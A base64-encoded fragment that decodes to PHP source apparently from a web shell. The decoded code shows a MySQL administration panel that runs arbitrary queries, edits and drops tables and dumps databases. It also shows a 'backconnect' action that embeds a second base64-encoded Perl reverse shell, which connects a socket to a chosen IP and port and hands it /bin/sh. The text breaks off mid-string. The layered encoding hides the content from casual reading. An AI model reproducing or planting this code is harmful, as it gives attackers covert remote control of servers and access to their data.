CgkJCQkJJHJvd2RiID0gYXJyYXkoKTsKCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQlwKCc8aDM+SW5kZXhlczwvaDM+Jyk7CgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJCXAoJzx0ZD5LZXluYW1lPC90ZD4nKTsKCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPlVuaXF1ZTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPlBhY2tlZDwvdGQ+Jyk7CgkJCQkJcCgnPHRkPlNlcV9pbl9pbmRleDwvdGQ+Jyk7CgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Q2FyZGluYWxpdHk8L3RkPicpOwoJCQkJCXAoJzx0ZD5Db2xsYXRpb248L3RkPicpOwoJCQkJCXAoJzx0ZD5OdWxsPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Q29tbWVudDwvdGQ+Jyk7CgkJCQkJcCgnPC90cj4nKTsKCQkJCQlmb3JlYWNoICgkcm93ZGIgYXMgJHJvdykgewoJCQkJCQkkdGhpc2JnID0gYmcoKTsKCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydLZXlfbmFtZSddLic8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydJbmRleF90eXBlJ10uJzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLigkcm93WydOb25fdW5pcXVlJ10gPyAnTm8nIDogJ1llcycpLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4oJHJvd1snUGFja2VkJ10gPT09IG51bGwgPyAnTm8nIDogJHJvd1snUGFja2VkJ10pLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydTZXFfaW5faW5kZXgnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snQ29sdW1uX25hbWUnXS4oJHJvd1snU3ViX3BhcnQnXSA/ICcoJy4kcm93WydTdWJfcGFydCddLicpJyA6ICcnKS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuKCRyb3dbJ0NhcmRpbmFsaXR5J10gPyAkcm93WydDYXJkaW5hbGl0eSddIDogMCkuJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0NvbGxhdGlvbiddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydOdWxsJ10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0NvbW1lbnQnXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPC90cj4nKTsKCQkJCQl9CgkJCQkJdGJmb290KCk7CgkJCQl9IGVsc2VpZiAoJGRvaW5nID09ICdpbnNlcnQnIHx8ICRkb2luZyA9PSAnZWRpdCcpIHsKCQkJCQkkcmVzdWx0ID0gcSgnU0hPVyBDT0xVTU5TIEZST00gJy4kdGFibGVuYW1lKTsKCQkJCQl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CgkJCQkJCSRyb3dkYltdID0gJHJvdzsKCQkJCQl9CgkJCQkJJHJzID0gYXJyYXkoKTsKCQkJCQlpZiAoJGRvaW5nID09ICdpbnNlcnQnKSB7CgkJCQkJCXAoJzxoMj5JbnNlcnQgbmV3IGxpbmUgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7CgkJCQkJfSBlbHNlIHsKCQkJCQkJcCgnPGgyPlVwZGF0ZSByZWNvcmQgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7CgkJCQkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7CgkJCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgKiBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIExJTUlUIDEiKTsKCQkJCQkJJHJzID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CgkJCQkJfQoJCQkJCXAoJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLiRzZWxmLiciPicpOwoJCQkJCXAoJGRiZm9ybSk7CgkJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ215c3FsYWRtaW4nKTsKCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsKCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7CgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsKCQkJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHJzWyRyb3dbJ0ZpZWxkJ11dKTsKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCSR2YWx1ZSA9ICcnOwoJCQkJCQl9CgkJCQkJCSR0aGlzYmcgPSBiZygpOwoJCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7CgkJCQkJCWlmICgkcm93WydLZXknXSA9PSAnVU5JJyB8fCAkcm93WydFeHRyYSddID09ICdhdXRvX2luY3JlbWVudCcgfHwgJHJvd1snS2V5J10gPT0gJ1BSSScpIHsKCQkJCQkJCXAoJzx0ZD48Yj4nLiRyb3dbJ0ZpZWxkJ10uJzwvYj48YnIgLz4nLiRyb3dbJ1R5cGUnXS4nPC90ZD48dGQ+Jy4kdmFsdWUuJyZuYnNwOzwvdGQ+PC90cj4nKTsKCQkJCQkJfSBlbHNlIHsJCQkJCQkJCgkJCQkJCQlwKCc8dGQ+PGI+Jy4kcm93WydGaWVsZCddLic8L2I+PGJyIC8+Jy4kcm93WydUeXBlJ10uJzwvdGQ+PHRkPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgbmFtZT0iaW5zZXJ0c3FsWycuJHJvd1snRmllbGQnXS4nXSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDo2MHB4O292ZXJmbG93OmF1dG87Ij4nLiR2YWx1ZS4nPC90ZXh0YXJlYT48L3RkPjwvdHI+Jyk7CgkJCQkJCX0KCQkJCQl9CgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0JykgewoJCQkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJpbnNlcnQiIHZhbHVlPSJJbnNlcnQiIC8+PC90ZD48L3RyPicpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InVwZGF0ZSIgdmFsdWU9IlVwZGF0ZSIgLz48L3RkPjwvdHI+Jyk7CgkJCQkJCW1ha2VoaWRlKCdiYXNlNjQnLCAkYmFzZTY0KTsKCQkJCQl9CgkJCQkJcCgnPC90YWJsZT48L2Zvcm0+Jyk7CgkJCQl9IGVsc2UgewoJCQkJCSRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJHNxbF9xdWVyeSk7CgkJCQkJZm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSkgewoJCQkJCQlpZiAoJHF1ZXJ5KSB7CgkJCQkJCQlwKCI8cD48Yj5RdWVyeSN7JG51bX0gOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9wPiIpOwoJCQkJCQkJc3dpdGNoKHF5KCRxdWVyeSkpCgkJCQkJCQl7CgkJCQkJCQkJY2FzZSAwOgoJCQkJCQkJCQlwKCc8aDI+RXJyb3IgOiAnLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7CgkJCQkJCQkJCWJyZWFrOwkKCQkJCQkJCQljYXNlIDE6CgkJCQkJCQkJCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcXVlcnksMCwxMykpID09ICdzZWxlY3QgKiBmcm9tJykgewoJCQkJCQkJCQkJJGFsbG93ZWRpdCA9IDE7CgkJCQkJCQkJCX0KCQkJCQkJCQkJaWYgKCRnZXRudW1zcWwpIHsKCQkJCQkJCQkJCSR0YXRvbCA9IG15c3FsX251bV9yb3dzKHEoJGdldG51bXNxbCkpOwoJCQkJCQkJCQkJJG11bHRpcGFnZSA9IG11bHRpKCR0YXRvbCwgJHBhZ2VudW0sICRwYWdlLCAkdGFibGVuYW1lKTsKCQkJCQkJCQkJfQoJCQkJCQkJCQlpZiAoISR0YWJsZW5hbWUpIHsKCQkJCQkJCQkJCSRzcWxfbGluZSA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIsICJcdCIpLCBhcnJheSgnICcsICcgJywgJyAnKSwgdHJpbShodG1sc3BlY2lhbGNoYXJzKCRxdWVyeSkpKTsKCQkJCQkJCQkJCSRzcWxfbGluZSA9IHByZWdfcmVwbGFjZSgiL1wvXCpbXihcKlwvKV0qXCpcLy9pIiwgIiAiLCAkc3FsX2xpbmUpOwoJCQkJCQkJCQkJcHJlZ19tYXRjaF9hbGwoIi9mcm9tXHMrYHswLDF9KFtcd10rKWB7MCwxfVxzKy9pIiwkc3FsX2xpbmUsJG1hdGNoZXMpOwoJCQkJCQkJCQkJJHRhYmxlbmFtZSA9ICRtYXRjaGVzWzFdWzBdOwoJCQkJCQkJCQl9CgoJCQkJCQkJCQkvKioqKioqKioqKioqKioqKioqKioqLwoJCQkJCQkJCQkkZ2V0ZmllbGQgPSBxKCJTSE9XIENPTFVNTlMgRlJPTSAkdGFibGVuYW1lIik7CgkJCQkJCQkJCSRyb3dkYiA9IGFycmF5KCk7CgkJCQkJCQkJCSRrZXlmaWVkID0gJyc7IC8vPz8/PwoJCQkJCQkJCQl3aGlsZSgkcm93ID0gQG15c3FsX2ZldGNoX2Fzc29jKCRnZXRmaWVsZCkpIHsKCQkJCQkJCQkJCSRyb3dkYlskcm93WydGaWVsZCddXVsnS2V5J10gPSAkcm93WydLZXknXTsKCQkJCQkJCQkJCSRyb3dkYlskcm93WydGaWVsZCddXVsnRXh0cmEnXSA9ICRyb3dbJ0V4dHJhJ107CgkJCQkJCQkJCQlpZiAoJHJvd1snS2V5J10gPT0gJ1VOSScgfHwgJHJvd1snS2V5J10gPT0gJ1BSSScpIHsKCQkJCQkJCQkJCQkka2V5ZmllZCA9ICRyb3dbJ0ZpZWxkJ107CgkJCQkJCQkJCQl9CgkJCQkJCQkJCX0KCQkJCQkJCQkJLyoqKioqKioqKioqKioqKioqKioqKi8JCQkJCQkJCQoJCQkJCQkJCQkvLz8/Pz8/Pz8/Pz8/Pz8KCQkJCQkJCQkJaWYgKCRrZXlmaWVkICYmIHN0cnRvbG93ZXIoc3Vic3RyKCRxdWVyeSwwLDEzKSkgPT0gJ3NlbGVjdCAqIGZyb20nKSB7CgkJCQkJCQkJCQkkcXVlcnkgPSBzdHJfcmVwbGFjZSgiIExJTUlUICIsICIgb3JkZXIgYnkgJGtleWZpZWQgREVTQyBMSU1JVCAiLCAkcXVlcnkpOwoJCQkJCQkJCQl9CgoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVlcnkpOwoKCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsKCQkJCQkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsKCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZD5BY3Rpb248L3RkPicpOwoJCQkJCQkJCQkkZmllbGRudW0gPSBAbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsKCQkJCQkJCQkJZm9yKCRpPTA7JGk8JGZpZWxkbnVtOyRpKyspewoJCQkJCQkJCQkJJG5hbWUgPSBAbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCAkaSk7CgkJCQkJCQkJCQkkdHlwZSA9IEBteXNxbF9maWVsZF90eXBlKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJCSRsZW4gPSBAbXlzcWxfZmllbGRfbGVuKCRyZXN1bHQsICRpKTsKCQkJCQkJCQkJCXAoIjx0ZCBub3dyYXA+JG5hbWU8YnI+PHNwYW4+JHR5cGUoJGxlbikiLigoJHJvd2RiWyRuYW1lXVsnS2V5J10gPT0gJ1VOSScgfHwgJHJvd2RiWyRuYW1lXVsnS2V5J10gPT0gJ1BSSScpID8gJzxiPiAtIFBSSU1BUlk8L2I+JyA6ICcnKS4oJHJvd2RiWyRuYW1lXVsnRXh0cmEnXSA9PSAnYXV0b19pbmNyZW1lbnQnID8gJzxiPiAtIEF1dG88L2I+JyA6ICcnKS4iPC9zcGFuPjwvdGQ+Iik7CgkJCQkJCQkJCX0KCQkJCQkJCQkJcCgnPC90cj4nKTsKCQkJCQkJCQkJCgkJCQkJCQkJCXdoaWxlKCRtbiA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSl7CgkJCQkJCQkJCQkkdGhpc2JnID0gYmcoKTsKCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsKCQkJCQkJCQkJCSR3aGVyZSA9ICR0bXAgPSAkYjEgPSAnJzsKCQkJCQkJCQkJCS8vPz8/Pz8/PwoJCQkJCQkJCQkJZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7CgkJCQkJCQkJCQkJaWYgKCRpbnNpZGUpIHsKCQkJCQkJCQkJCQkJLy8/Pz8/Pz8/Pz8/Pz8/Pz8/Pyw/Pz8/Pyw/Pz8/Pz8/Pz8/Pz8/CgkJCQkJCQkJCQkJCWlmICgkcm93ZGJbJGtleV1bJ0tleSddID09ICdVTkknIHx8ICRyb3dkYlska2V5XVsnRXh0cmEnXSA9PSAnYXV0b19pbmNyZW1lbnQnIHx8ICRyb3dkYlska2V5XVsnS2V5J10gPT0gJ1BSSScpIHsKCQkJCQkJCQkJCQkJCSR3aGVyZSA9ICRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsKCQkJCQkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQkJCSR3aGVyZSAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCRpbnNpZGUpLiInIjsKCQkJCQkJCQkJCQkJJHRtcCA9ICcgQU5EICc7CgkJCQkJCQkJCQkJfQoJCQkJCQkJCQkJfQoJCQkJCQkJCQkJLy8/Pz8/PwoJCQkJCQkJCQkJZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7CgkJCQkJCQkJCQkJJGIxIC49ICc8dGQgbm93cmFwPicuaHRtbF9jbGVhbigkaW5zaWRlKS4nJm5ic3A7PC90ZD4nOwoJCQkJCQkJCQkJfQoJCQkJCQkJCQkJJHdoZXJlID0gYmFzZTY0X2VuY29kZSgkd2hlcmUpOwoKCQkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2VkaXRcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5FZGl0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6ZWRpdHJlY29yZChcJ2RlbFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkRlbDwvYT48L3RkPicpOwoKCQkJCQkJCQkJCXAoJGIxKTsKCQkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCQl1bnNldCgkYjEpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7CgkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQ+QWN0aW9uPC90ZD4nKTsKCQkJCQkJCQkJJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7CgkJCQkJCQkJCWZvcigkaT0wOyRpPCRmaWVsZG51bTskaSsrKXsKCQkJCQkJCQkJCSRuYW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOwoJCQkJCQkJCQkJJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7CgkJCQkJCQkJCQkkbGVuID0gQG15c3FsX2ZpZWxkX2xlbigkcmVzdWx0LCAkaSk7CgkJCQkJCQkJCQlwKCI8dGQgbm93cmFwPiRuYW1lPGJyPjxzcGFuPiR0eXBlKCRsZW4pIi4oKCRyb3dkYlskbmFtZV1bJ0tleSddID09ICdVTkknIHx8ICRyb3dkYlskbmFtZV1bJ0tleSddID09ICdQUkknKSA/ICc8Yj4gLSBQUklNQVJZPC9iPicgOiAnJykuKCRyb3dkYlskbmFtZV1bJ0V4dHJhJ10gPT0gJ2F1dG9faW5jcmVtZW50JyA/ICc8Yj4gLSBBdXRvPC9iPicgOiAnJykuIjwvc3Bhbj48L3RkPiIpOwoJCQkJCQkJCQl9CgkJCQkJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJCQkJCXRiZm9vdCgpOwoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOwoJCQkJCQkJCQlicmVhazsKCQkJCQkJCQljYXNlIDI6CgkJCQkJCQkJCSRhciA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoKTsKCQkJCQkJCQkJcCgnPGgyPmFmZmVjdGVkIHJvd3MgOiA8Yj4nLiRhci4nPC9iPjwvaDI+Jyk7CgkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9IGVsc2UgewoJCQkJJHF1ZXJ5ID0gcSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsKCQkJCSR0YWJsZV9udW0gPSAkdGFibGVfcm93cyA9ICRkYXRhX3NpemUgPSAwOwoJCQkJJHRhYmxlZGIgPSBhcnJheSgpOwoJCQkJd2hpbGUoJHRhYmxlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgewoJCQkJCSRkYXRhX3NpemUgPSAkZGF0YV9zaXplICsgJHRhYmxlWydEYXRhX2xlbmd0aCddOwoJCQkJCSR0YWJsZV9yb3dzID0gJHRhYmxlX3Jvd3MgKyAkdGFibGVbJ1Jvd3MnXTsKCQkJCQkkdGFibGVbJ0RhdGFfbGVuZ3RoJ10gPSBzaXplY291bnQoJHRhYmxlWydEYXRhX2xlbmd0aCddKTsKCQkJCQkkdGFibGVfbnVtKys7CgkJCQkJJHRhYmxlZGJbXSA9ICR0YWJsZTsKCQkJCX0KCQkJCSRkYXRhX3NpemUgPSBzaXplY291bnQoJGRhdGFfc2l6ZSk7CgkJCQl1bnNldCgkdGFibGUpOwoJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4nKTsKCQkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOwoJCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ215c3FsYWRtaW4nKTsKCQkJCXAoJGRiZm9ybSk7CgkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOwoJCQkJcCgnPHRkIHdpZHRoPSIyJSIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4nKTsKCQkJCXAoJzx0ZD5OYW1lPC90ZD4nKTsKCQkJCXAoJzx0ZD5Sb3dzPC90ZD4nKTsKCQkJCXAoJzx0ZD5EYXRhX2xlbmd0aDwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Q3JlYXRlX3RpbWU8L3RkPicpOwoJCQkJcCgnPHRkPlVwZGF0ZV90aW1lPC90ZD4nKTsKCQkJCWlmICgkaGlnaHZlcikgewoJCQkJCXAoJzx0ZD5FbmdpbmU8L3RkPicpOwoJCQkJCXAoJzx0ZD5Db2xsYXRpb248L3RkPicpOwoJCQkJfQoJCQkJcCgnPHRkPk9wZXJhdGU8L3RkPicpOwoJCQkJcCgnPC90cj4nKTsKCQkJCWZvcmVhY2ggKCR0YWJsZWRiIGFzICRrZXkgPT4gJHRhYmxlKSB7CgkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOwoJCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMiUiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idGFibGVbXSIgdmFsdWU9IicuJHRhYmxlWydOYW1lJ10uJyIgLz48L3RkPicpOwoJCQkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcpOyI+Jy4kdGFibGVbJ05hbWUnXS4nPC9hPjwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7CgkJCQkJcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOwoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ3JlYXRlX3RpbWUnXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJyZuYnNwOzwvdGQ+Jyk7CgkJCQkJaWYgKCRoaWdodmVyKSB7CgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRW5naW5lJ10uJzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7CgkJCQkJfQoJCQkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPjwvdGQ+Jyk7CgkJCQkJcCgnPC90cj4nKTsKCQkJCX0KCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7CgkJCQlwKCc8dGQgd2lkdGg9IjIlIiBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+Jyk7CgkJCQlwKCc8dGQ+TmFtZTwvdGQ+Jyk7CgkJCQlwKCc8dGQ+Um93czwvdGQ+Jyk7CgkJCQlwKCc8dGQ+RGF0YV9sZW5ndGg8L3RkPicpOwoJCQkJcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsKCQkJCXAoJzx0ZD5VcGRhdGVfdGltZTwvdGQ+Jyk7CgkJCQlpZiAoJGhpZ2h2ZXIpIHsKCQkJCQlwKCc8dGQ+RW5naW5lPC90ZD4nKTsKCQkJCQlwKCc8dGQ+Q29sbGF0aW9uPC90ZD4nKTsKCQkJCX0KCQkJCXAoJzx0ZD5PcGVyYXRlPC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7CgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsKCQkJCXAoJzx0ZD5Ub3RhbCB0YWJsZXM6ICcuJHRhYmxlX251bS4nPC90ZD4nKTsKCQkJCXAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOwoJCQkJcCgnPHRkPicuJGRhdGFfc2l6ZS4nPC90ZD4nKTsKCQkJCXAoJzx0ZCBjb2xzcGFuPSInLigkaGlnaHZlciA/IDUgOiAzKS4nIj4mbmJzcDs8L3RkPicpOwoJCQkJcCgnPC90cj4nKTsKCgkJCQlwKCI8dHIgY2xhc3M9XCIiLmJnKCkuIlwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA5IDogNykuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJGRibmFtZS4iLnNxbFwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgLz4gPGlucHV0IGNsYXNzPVwiYnRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJFeHBvcnQgc2VsZWN0aW9uIHRhYmxlXCIgLz48L3RkPjwvdHI+Iik7CgkJCQltYWtlaGlkZSgnZG9pbmcnLCdiYWNrdXBteXNxbCcpOwoJCQkJZm9ybWZvb3QoKTsKCQkJCXAoIjwvdGFibGU+Iik7CgkJCQlmcigkcXVlcnkpOwoJCQl9CgkJfQoJfQoJdGJmb290KCk7CglAbXlzcWxfY2xvc2UoKTsKfS8vZW5kIG15c3FsCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2JhY2tjb25uZWN0JykgewoJISR5b3VyaXAgJiYgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoJISR5b3VycG9ydCAmJiAkeW91cnBvcnQgPSAnMTIzNDUnOwoJJHVzZWRiID0gYXJyYXkoJ3BlcmwnPT4ncGVybCcsJ2MnPT4nYycpOwoKCSRiYWNrX2Nvbm5lY3Q9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU8yVmoiLgoJCSJhRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSIi4KCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVCIuCgkJInNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0kiLgoJCSJrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpIi4KCQkiS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbCIuCgkJI